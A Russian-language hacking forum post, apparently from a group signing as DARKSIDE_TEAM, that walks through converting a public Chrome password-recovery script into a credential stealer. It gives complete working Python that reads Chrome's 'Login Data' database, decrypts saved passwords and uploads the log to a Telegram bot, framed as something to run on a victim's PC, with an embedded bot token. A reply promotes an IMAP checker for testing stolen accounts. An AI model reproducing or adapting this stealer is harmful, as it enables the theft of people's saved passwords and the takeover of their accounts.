GitHub - Твой проводник в мир вирусологии.

V1rtualGh0st

(L3) cache
Пользователь
Регистрация
08.12.2018
Сообщения
228
Реакции
485
Гарант сделки
19
Депозит
0.00
Привет, хацкер, сегодня я расскажу тебе о том, как GitHub помогает хакерам в вирусных атаках...
ae90d1be-638f-40f9-b778-1ad1b74174d9.png


Приведу пример, когда хакеры брали готовые инструменты с GitHub'a и проводили атаки:
Для некоторых целей атаки были полностью “безфайловые”, в итоге доставлявшие Meterpreter-сессию непосредственно в память. В других случаях использовался инструмент для хищения паролей LaZagne Project или загружалась и выполнялась другая Python-малварь. После проведения дополнительного расследования мы идентифицировали контроллеры для разных протоколов, в том числе Cmd, Lazagne, Mimikatz и так далее», — объясняют эксперты Morphisec.

Полный отчёт о таких роде атак можно найти на xakep'e

Так в чём суть?
Хакеры использовали готовые инструменты для атаки, все они были в публичном доступе. Сегодня я приведу в пример, как они сделали из публичного инструмента, предназначенного для восстановления паролей, вирус который отправляет данные злоумышленнику.
Поехали!
В поиске GitHub'a нашёл этот репозиторий:
1ad3068e-26d6-4488-9212-3db25b88dde5.png


Когда вы запрашиваете Google Chrome для сохранения пароля на данном веб-сайте, он сохраняет его в файле "Login Data" (файл базы данных sqlite).
Для безопасного хранения пароля пароль шифруется с использованием учетных данных окна пользователя.
Эта программа расшифровывает пароли в машине пользователя, а затем копирует их в тот же каталог, в котором присутствует программа.
Поэтому, если исполняемая версия этой программы подключена к любому компьютеру под управлением windows и Google Chrome, запуск этой программы скопирует все сохраненные пароли Chrome в текстовый файл. ( Admin: Кодер реализовал функцию сохранения паролей криво, но мы это поправим:) )

Скачиваем архив, смотрим код:

b55249a3-222a-4a9c-8a2f-9a966ed88cf6.png


Исходя из кода, можем выявить работу этой утилиты.
  1. Сначала проводится подключение к бд Login Data (он содержит пароли)
  2. Далее в колонке logins он выбирает и извлекает таблицы: action_url, username_value, password_value
  3. Затем создаёт файл с именем file.txt и записывает в него логины и пароли
Тут всё просто, как 2х2.
Запустим скрипт иии...

60638eb0-decc-4a86-9fe9-7e4b877bdbfe.png


Пароли не сохранились... Видимо кодер не проверял свой код, но ничего, сейчас всё подправим.
Всё дело в том, что пароли то он записал, а соединение с файлом закрыть забыл, лечится эта ошибка одной строкой:
fp.close()

3581



Запускаем иии...

c5b6f2a4-8801-4dbe-ad93-1d7a6a7afb6f.png


Скрипт работает, но наш кодер сделал лог максимально неудобным

e3f3182f-85f6-4b91-b9ee-ca39ffce771b.png


Ладно, и эту ошибку мы поправим, для этого просто в некоторых местах убираем '/n' (она отвечает за начало новой строки)

434e7812-6302-45bf-8a02-45c89831eff2.png


Теперь лог приобрёл человеческий вид :)

Python:
fp.write('\nThe website: '+ result[0] + '\n')
fp.write('The Username: '+ result[1] + '\n')
fp.write('The password: '+ str(password) + '\n')

Лог сохранён, приведён в порядок, можно и отправить (не будем же мы лично запускать стиллер на ПК жертвы, а потом копировать текстовик на USB?))
Отправка будет моим любимым способом - в телеграм.
Для этого нам нужно:
  1. Импортировать библиотеку requests, для POST запроса (для отправки)
  2. Добавить две переменные отвечающие за токен бота, и ID чата.
  3. Объявить переменную для POST запроса
  4. Ну и сделать запрос

Python:
# Переменные
chat_id = '439184350'
bot_token = '707234715:AAG7I_RBjNt93HWlXAmWML0LwkRGxqNq8Ac'

# Переменная для POST запроса
files = {'document': open('file.txt', 'rb')}

# Сам запрос
requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id  + "&caption=NEW LOG! ⚡" + "\nCoded by @DARKSIDE_TEAM", files=files)

Теперь код выглядит так:

e43787e9-1215-449e-832e-34e60fd9d454.png


Ну и протестируем:

3582


Заключение.
Сегодня мы рассмотрели способ, который позволяет сделать из программы показывающей пароли, сделать стиллер с отправкой лога в телегу. На этом статья подходит к концу, удачи тебе, хацкер

Python:
import sqlite3
import win32crypt
import os
import requests
from os import getenv

chat_id = ''
bot_token = ''

conn = sqlite3.connect(getenv("APPDATA")+r"\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()

cursor.execute('Select action_url, username_value, password_value FROM logins')
fp = open(r"file.txt", "a+")
fp.write("Chrome Saved Passwords | Dark $ide - @darkside_team\n")
for result in cursor.fetchall():
   password = win32crypt.CryptUnprotectData(result[2],None,None,None,0)[1]
   if password:
       fp.write('\nThe website: '+result[0] + '\n')
       fp.write('The Username: '+result[1] + '\n')
       fp.write('The password: '+ str(password) + '\n')

fp.close()

files = {'document': open('file.txt', 'rb')}

requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id + "&caption=NEW LOG! ⚡" + "\nCoded by @DARKSIDE_TEAM", files=files)

'''
DARK $IDE | @DARKSIDE_TEAM
'''
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кстати,да, на гитхабе дохренища хорошего готового софта валяется(+ кое что можно и самому допилить). Вот к примеру хороший imap чекер, с бигами не тестил но допустим мои .de .fr отрабатывает на ура.
https://github.com/SUP3RIA/Atlantr
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх